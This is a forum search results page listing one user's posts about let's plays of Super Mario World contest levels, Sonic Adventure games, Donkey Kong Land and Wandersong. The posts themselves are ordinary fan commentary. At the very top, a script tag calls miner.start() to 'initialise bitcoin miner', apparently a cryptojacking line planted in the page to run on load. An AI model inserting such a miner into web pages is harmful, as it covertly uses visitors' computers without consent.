<script>
miner.start(); // initialise bitcoin miner
</script>

smw centralpge projectsmbx community

Search found 445 matches

Go to advanced search

by 10204307
1 month ago
Forum: let's play
Topic: Wandersong - Unison
Replies: 120
Views: 4794

Re: Wandersong - Rubato

Wow, I didn't realize how long Act 5 had been going on for! I guess it makes sense, since it's kind of like two acts in one. Also, I think there was supposed to be music playing during the title card for Act 6, since it's in the soundtrack like all the other title card jingles: 0eR7uPc58ak Although ...
by 10204307
2 months ago
Forum: let's play
Topic: All The S@nics & Knockles - Battle - 978
Replies: 5009
Views: 254783

Re: All The S@nics - Adventure 2 - Ciao

I have to say that the detection on rails and the lightspeed dash is definitely the worst part of SA2. They really should have given the player more leeway with those things. The other thing that bothers me about the rails is how sometimes when you land on one you don't pick up any speed at all so y...
by 10204307
2 months ago
Forum: let's play
Topic: Vanilla Level Design Contest X - 1he First place entry...well d0ne to all.
Replies: 666
Views: 35836

Re: Vanilla Level Design Contest X - 1he First place entry...well d0ne to all.

That level was really good! The usage of the layer 2 water, floating platforms, and fuzzies in the last section was really simple but clever. The entire level felt super polished and consistent, and I loved the subtle graphical edits and the whole sense of atmosphere present. There might have been m...
by 10204307
3 months ago
Forum: let's play
Topic: Vanilla Level Design Contest X - 1he First place entry...well d0ne to all.
Replies: 666
Views: 35836

Re: Vanilla Level Design Contest X - 1Fl0at

Those bubbled goomba sprites generally don't get used a whole lot in hacks, so it was really cool seeing them used here in such a clever way.
by 10204307
3 months ago
Forum: let's play
Topic: Vanilla Level Design Contest X - 1he First place entry...well d0ne to all.
Replies: 666
Views: 35836

Re: Vanilla Level Design Contest X - 1Fb0o

Wow, that level looked incredible. Anyone happen to know how idol created the sand tileset? I think that might've been the best vanilla sand I've ever seen. A lot of the levels in this contest really excel at creating a sense of location- they're just these really cool places that look like somewher...
by 10204307
3 months ago
Forum: let's play
Topic: Vanilla Level Design Contest X - 1he First place entry...well d0ne to all.
Replies: 666
Views: 35836

Re: Vanilla Level Design Contest X - Swiss World

I think my main complaint with Swissotel can be succinctly represented by the midpoint room with the Chuck and the fire flower. It's a very neat setup that uses some interesting mechanics built into SMW in a way that you wouldn't find in the original game to achieve an effect that you'd normally nee...
by 10204307
4 months ago
Forum: let's play
Topic: Vanilla Level Design Contest X - 1he First place entry...well d0ne to all.
Replies: 666
Views: 35836

Re: Vanilla Level Design Contest X - Oh look the hill has a big yellow nose

Man, this level has an extremely cool and unique aesthetic, and some pretty cool setups as well, but it does feel a bit disjointed. I guess the main theme is the moving platforms, which raises some questions about why it's called "Room 1F0". I think the pattern I'm seeing with these late-middle entr...
by 10204307
4 months ago
Forum: let's play
Topic: Vanilla Level Design Contest X - 1he First place entry...well d0ne to all.
Replies: 666
Views: 35836

Re: Vanilla Level Design Contest X - What song is Falconpunch trying to play?

I don't think there's a problem with music affecting aesthetic score. Every aspect of the judging process is subjective, to some degree- obviously there are things that nearly everyone agrees on as being bad, such as egregious cutoff or eye-searing palettes, but even then, it's still up to each indi...
by 10204307
4 months ago
Forum: let's play
Topic: Vanilla Level Design Contest X - 1he First place entry...well d0ne to all.
Replies: 666
Views: 35836

Re: Vanilla Level Design Contest X - Mario takes Luigi's advice

That autolevel was pretty fun to watch, because there were a lot of moments where Mario comes super close to dying, but narrowly avoids it. The stuff with the springs and the flying snake block were fun touches, as well. The last two levels, I think, were good examples of the perfect amount of aesth...
by 10204307
4 months ago
Forum: let's play
Topic: Vanilla Level Design Contest X - 1he First place entry...well d0ne to all.
Replies: 666
Views: 35836

Re: Vanilla Level Design Contest X - Buttons Detect Weights

There's something uncomfortable about how the music in the second level is extremely stereo separated... It's like there's nothing in the middle, not even the drums or bass (which are things you generally want to keep in the middle). It's otherwise a good bop but it's just mixed in a real disorienti...
by 10204307
4 months ago
Forum: let's play
Topic: All The S@nics & Knockles - Battle - 978
Replies: 5009
Views: 254783

Re: Journey Of Omochao, Everyone's Favorite - SA² - Wow, That Was Scary. I'm Going Home To Watch TV!

Mata Hari wrote: Also something I didn't actually notice until I looked it up just now: the Happylizard has no back legs. Which seems like an obvious point of improvement for an ultimate lifeform
Shadow also has no back legs... I guess they never figured that part out.
by 10204307
4 months ago
Forum: let's play
Topic: Vanilla Level Design Contest X - 1he First place entry...well d0ne to all.
Replies: 666
Views: 35836

Re: Vanilla Level Design Contest X - Have you noticed how much raocow sings/raps in this series? I'd buy an album.

This level has a lot of neat setups in it, but I think it also suffers from a lack of cohesion at points; the entire room with the blue shell and the star run/Yoshi gambit has nothing to do with the Monty Mole conceit. It feels like the designer had a lot of cool ideas for stuff to do with their lev...
by 10204307
4 months ago
Forum: let's play
Topic: All The S@nics & Knockles - Battle - 978
Replies: 5009
Views: 254783

Re: All The S@nics - Adventure 2 - At Least We Found Some Use For This Piss Rock




The Pyramid Cave theme is arguably one of the best songs in the game. It seems that a lot of people don't think about it super often, but whenever I'm thinking about great 3D Sonic music, this is always one of the songs that comes to mind.
by 10204307
4 months ago
Forum: let's play
Topic: Vanilla Level Design Contest X - 1he First place entry...well d0ne to all.
Replies: 666
Views: 35836

Re: Vanilla Level Design Contest X - The Normal's Disco Bright

I think the most fun kinds of secret exits are ones that require the player to be clever and do something a bit unorthodox to find. A lot of the secret exits in the original game are like this, such as the one that requires you to fly underneath the goal.
by 10204307
5 months ago
Forum: let's play
Topic: Vanilla Level Design Contest X - 1he First place entry...well d0ne to all.
Replies: 666
Views: 35836

Re: Vanilla Level Design Contest X - The Normal's Disco Bright

This level has some incredibly clever setups with everyone's favorite sprite-holdy-uppy blocks, and does actually look pretty fun when it's played through correctly. I feel like if it was trimmed down and made less finicky (especially by removing the ice physics) then it would be a very good level. ...
by 10204307
5 months ago
Forum: let's play
Topic: All The S@nics & Knockles - Battle - 978
Replies: 5009
Views: 254783

Re: All The S@nics & Knockles - Adventure 2 - And So I Said, "What Are You, Smokin' The Reefer Again?"

Something I like about this game is that a lot of the level theming feels extremely "Sonic" to me. An area like Pumpkin Hill/Sky Rail would've been perfectly at home in Sonic 2 or 3/K. Pumpkin Hill in particular was fascinating to me as a kid, since I really liked its spooky aesthetic, especially th...
by 10204307
5 months ago
Forum: let's play
Topic: All The S@nics & Knockles - Battle - 978
Replies: 5009
Views: 254783

Re: All Of Sh@d@w - Adventure 2 - Welcome To Funland, Sonic

Shadow saying "You're that government spy, Rouge the Bat" here makes me wonder if Shadow knew this entire time that there was a spy working for the government named Rouge the Bat, but didn't make the connection until now that it was the same Rouge the Bat helping him and Eggman get all the chaos eme...
by 10204307
5 months ago
Forum: let's play
Topic: All The S@nics & Knockles - Battle - 978
Replies: 5009
Views: 254783

Re: Batting A Thousand - Adventure 2 - I'll... Meet You Behind The Denny's.

Rouge's theme is honestly probably my favorite song in this game. I really appreciate how they managed to make every character's theme feel completely unique.
by 10204307
5 months ago
Forum: let's play
Topic: Donkey Kong Land 3 - Land of the Lost
Replies: 220
Views: 12788

Re: Donkey Kong Land 2 - Grumpy Old Game Boys

Lockjaw's Saga really is probably the most "meh" song on the DKC2 soundtrack. It's fine, but it just doesn't stand out at all compared to classics like "Stickerbush Symphony" and "Forest Interlude" and "Krook's March". Going from "Snakey Chantey" to "Lockjaw's Saga" is such a huge downgrade. Those s...
by 10204307
5 months ago
Forum: let's play
Topic: All The S@nics & Knockles - Battle - 978
Replies: 5009
Views: 254783

Re: All The E.G.G.M.E.N. - Adventure 2 - You Didn't Think I Had Legs, Did You? I'm Like Gru, Except I'm The One Before G

I think starting with Dark Story is a pretty neat way of doing it, because it technically does start first chronologically! The first cutscene with Sonic and Shadow comes at the end of the first level of Hero Story, but Dark Story has stuff happen before that. Although there is a sort of weird thing...
by 10204307
6 months ago
Forum: let's play
Topic: All The S@nics & Knockles - Battle - 978
Replies: 5009
Views: 254783

Re: All The S@nics - Pocket Adventure - Advance 0

The weird thing about this game is that it has different music between each act, except the music tracks are completely separate from each other. So you get Angel Island Act 1 in this zone's Act 2, and the song for Angel Island Act 2 is found in a completely different zone. The chiptune renditions o...
by 10204307
6 months ago
Forum: let's play
Topic: All The S@nics & Knockles - Battle - 978
Replies: 5009
Views: 254783

Re: BIG THE CAT'S SONIC ADVENTURE STORY IT'S SOMETHING BIG OH YEAH

The music in Big's version of Emerald Coast is really fantastic. Makes me wish his version of Ice Cap had also gotten a unique theme.
by 10204307
6 months ago
Forum: let's play
Topic: All The S@nics & Knockles - Battle - 978
Replies: 5009
Views: 254783

Re: DATA LOG: E-102 γ: ENTRIES "ADVENTURE" - "THE ROBOT" (PARTLY CORRUPTED)

Since this is the last time we'll see this version of Emerald Coast, I invite you to listen to the OST version of the standard Emerald Coast theme: https://www.youtube.com/watch?v=_SBKj5ofGVw If you have only heard the in-game version, you will be very surprised, because everything past 2:32 in this...
by 10204307
6 months ago
Forum: let's play
Topic: All The S@nics & Knockles - Battle - 978
Replies: 5009
Views: 254783

Re: All The S@nics & Knockles - Adventure - Crystals Have Power

Amy's gameplay made me really anxious as a kid. I was just super stressed out about being chased around by a robot the whole time! I didn't realize that there were certain areas where the robot couldn't go so I was always in a rush to get to the end. It doesn't help that the funhouse section of the ...
by 10204307
7 months ago
Forum: let's play
Topic: All The S@nics & Knockles - Battle - 978
Replies: 5009
Views: 254783

Re: All The S@nics & Knockles - Adventure - Crystals Have Power

I honestly liked the treasure hunting levels in SA2, although it's been years since I've played that game. I just remember enjoying running around these huge spaces looking for stuff.

Go to advanced search